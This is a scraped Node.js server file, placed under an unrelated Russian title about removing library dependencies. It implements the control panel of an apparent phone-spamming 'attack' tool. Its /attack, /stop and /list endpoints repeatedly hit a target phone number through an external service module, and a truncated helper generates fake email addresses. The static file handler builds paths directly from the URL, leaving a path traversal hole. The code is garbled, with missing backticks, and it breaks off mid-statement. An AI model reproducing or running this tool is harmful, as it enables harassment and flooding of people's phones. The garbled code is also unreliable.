Как избавиться от зависимостей от сторонних библиотек в JavaScript
index.js:
const http = require('http'); const url = require('url'); const fs = require('fs'); const path = require('path'); const service = require("./core.js"); const querystring = require('querystring'); const current_attacks = []; const list_attacks = [];
const server = http.createServer((req, res) => {
const parsedUrl = url.parse(req.url);
let pathname = .${parsedUrl.pathname};
const ext = path.parse(pathname).ext;
if (ext === '.html') {
fs.readFile(pathname, (err, data) => {
if (err) {
res.writeHead(404, {'Content-Type': 'text/html'});
return res.end(Error loading ${pathname});
}
res.writeHead(200, {'Content-Type': 'text/html'});
res.end(data);
});
} else if (ext === '.js') {
fs.readFile(pathname, (err, data) => {
if (err) {
res.writeHead(404, {'Content-Type': 'text/javascript'});
return res.end(Error loading ${pathname});
}
res.writeHead(200, {'Content-Type': 'text/javascript'});
res.end(data);
});
} else if (ext === '.css') {
fs.readFile(pathname, (err, data) => {
if (err) {
res.writeHead(404, {'Content-Type': 'text/css'});
return res.end(Error loading ${pathname});
}
res.writeHead(200, {'Content-Type': 'text/css'});
res.end(data);
});
} else if (ext === '.png') {
fs.readFile(pathname, (err, data) => {
if (err) {
res.writeHead(404, {'Content-Type': 'image/png'});
return res.end(Error loading ${pathname});
}
res.writeHead(200, {'Content-Type': 'image/png'});
res.end(data);
});
} else if (parsedUrl.pathname === '/attack') {
const query = querystring.parse(parsedUrl.query);
if (!Number(query.number) || query.number.toString().length < 11) {
return res.end(JSON.stringify({
'success': false,
'text': 'Номер телефона не указан либо не является корректным'
}));
}
if (!Number(query.loops) || !query.loops) {
return res.end(JSON.stringify({
'success': false,
'text': 'Параментр loop отсутсвует либо не является корректным'
}));
} else {
count = 0;
list_attacks.push({
number: Number(query.number),
loop: Number(query.loops),
startedAt: Date.now()
});
service.start(query.number);
current_attacks[query.number] = setInterval(async function () {
service.start(query.number);
count++;
if (count == query.loops - 1) {
clearInterval(current_attacks[query.number]);
for (let key in list_attacks) {
if (list_attacks[key].number == query.number) {
list_attacks.splice(key, 1);
}
}
}
}, 30000);
return res.end(JSON.stringify({
'success': true,
'text': Атака на номер +${query.number} успешно запущена
}));
}
} else if (parsedUrl.pathname === '/stop') {
const query = querystring.parse(parsedUrl.query);
if (query.number) {
if (current_attacks[query.number]) {
clearInterval(current_attacks[query.number]);
for (let key in list_attacks) {
if (list_attacks[key].number == query.number) {
list_attacks.splice(key, 1);
}
}
res.end(JSON.stringify({
success: true,
text: Атака на номер +${query.number} успешно прекращена
}));
} else {
return res.end(JSON.stringify({
success: false,
text: Нет активных атак по номеру +${query.number}
}));
}
} else {
return res.end(JSON.stringify({
success: false,
text: 'Параментр number не указал либо не является корректным'
}));
}
} else if (parsedUrl.pathname === '/list') {
if (list_attacks.length === 0) {
result = {
success: false,
text: 'Список активных атак пуст'
}
return res.end(JSON.stringify(result));
} else {
result = {
success: true,
result: list_attacks
}
return res.end(JSON.stringify(result));
}
} else {
res.writeHead(404, {'Content-Type': 'text/html'});
res.end(Error loading ${pathname});
}
});
const port = process.argv[2] || 3000;
server.listen(port, () => {
console.log([INFO] Server started on ${port});
require('child_process').exec(open http://localhost:${port}/);
});
module.exports.mailGen = function () { let domains = ['@mail.ru', '@yandex.ru', '@gmail.com', '@rambler.ru'] let fa
原文地址: https://www.cveoy.top/t/topic/ndhU 著作权归作者所有。请勿转载和采集!